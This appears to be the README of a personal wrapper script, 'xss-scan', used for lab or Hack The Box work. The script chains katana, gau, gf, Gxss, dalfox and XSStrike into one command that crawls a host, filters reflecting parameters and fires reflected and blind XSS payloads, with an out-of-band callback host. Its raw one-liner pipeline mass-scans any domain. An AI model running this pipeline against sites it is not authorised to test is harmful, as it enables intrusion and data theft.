# xss-scan — reflected & blind XSS, one command End-to-end pipeline: harvest URLs → `gf xss` candidates → `Gxss` reflection filter → `dalfox` confirm. The web-recon sibling to `sqli-test` (sqlmap) and `enum-web`/`webenum` (dir brute). Point it at a URL, a host, or a file of URLs and walk away. ## Run it - **`xss-scan `** — full URL, crawled with **katana** (`-jc -d 2`). e.g. `xss-scan https://host/search?q=1` - **`xss-scan `** — bare host: katana crawls `http://` **and** `https://`, plus passive **gau + waybackurls**. - **`xss-scan urls.txt`** — a file of URLs (one per line) used as-is (`^https?://` lines, else the whole file). - **`xss-scan`** with no arg falls back to **`$TARGET`** (set it once with `t `). Input type is auto-detected — you never say which. Needs **`dalfox`** and **`gf`** present or it bails; katana/gau/waybackurls/Gxss/qsreplace/xsstrike are each optional and skipped if absent. ## Options | Flag | Meaning | |---|---| | `-b ` / `--blind` | blind-XSS callback (XSS Hunter / your listener) → passed to `dalfox -b` | | `--oob` | dalfox built-in **interactsh** OOB blind XSS (`--blind-oob`) — no listener to run | | `--deep` | also run **XSStrike** on the top 15 reflected candidates (slow, loud) | | `--workers N` / `-w N` | concurrency for Gxss + dalfox (default **30**) | - **`-b`** vs **`--oob`**: `-b` fires your own collaborator URL into every sink; `--oob` lets dalfox spin its own interactsh session. Use one, or both. - **`--deep`** doubles as a second opinion — XSStrike's context-aware fuzzer catches sinks dalfox's payload set misses, at real time cost. ## The 4 stages (what it prints) ``` [1/4] URL HARVEST katana crawl (+gau/waybackurls) → urls.txt [2/4] CANDIDATE PARAMS grep '?…=' + gf xss, then qsreplace -a → candidates.txt [3/4] REFLECTION FILTER Gxss -c keeps only params that echo → reflected.txt [4/4] DALFOX CONFIRM dalfox pipe --silence --workers N -o dalfox.txt < reflected.txt ``` - **Stage 2** collapses every param value to a marker with `qsreplace -a` so `?a=1&b=2` is tested once, not per-value. No parameterized URLs → it stops here (nothing to test). - **Stage 3** is the money-saver: only params whose input is *reflected* reach dalfox. If Gxss is absent or isolates nothing, **all** candidates pass through instead of dropping the run. ## Output — `$HTB_BOXES/scans/xss-/` - **`urls.txt`** — everything crawled/harvested, deduped. - **`candidates.txt`** — parameterized URLs after `gf xss` + `qsreplace`. - **`reflected.txt`** — the subset that actually echoes input (dalfox's input). - **`dalfox.txt`** — confirmed findings; the tail (`poc`/`[v]`/`triggered`) is echoed as a summary. - **`xsstrike.txt`** — only with `--deep`. Target name is slugged (`:` `/` → `_`), so `https://host/x` lands in `scans/xss-https_host_x/`. ## Manual chain (raw one-liner) When you want to see the plumbing or tweak a stage — the wrapper is exactly this, minus the bookkeeping: ``` gau target.com | gf xss | qsreplace -a | Gxss -c 50 | dalfox pipe --blind-oob --workers 50 ``` - Swap `gau target.com` for `katana -u https://target -silent -jc -d 2` on live-crawl targets. - Own callback instead of interactsh: `… | dalfox pipe -b https://xss.mysrv.io`. - `dalfox` here is **v3.2.0 (Rust)**: `--blind-oob` drives interactsh directly, `--workers` sets concurrency, `--silence`/`--no-color` keep the pipe clean. ## Companions (reach for these around it) - **`arjun -u `** — discover *hidden* params gf can't see in the URL; feed its output back in. - **`paramspider -d target`** — mine parameter URLs straight from the Wayback set (an alt Stage-1). - **`interactsh-client`** — self-hosted OOB listener; run it, then `xss-scan --oob` or `-b` its URL for blind hits you control end-to-end. - **`xsstrike -u `** — the manual deep dive `--deep` automates. > Start narrow: `xss-scan https://host/path?param=x` on a single known sink confirms the pipeline fast. Widen to the bare host only once you know it reflects — a full katana+gau crawl on a big app is slow and **loud**. Blind hits need a callback you can watch (`--oob` or `-b`), so set that up *before* the run, not after.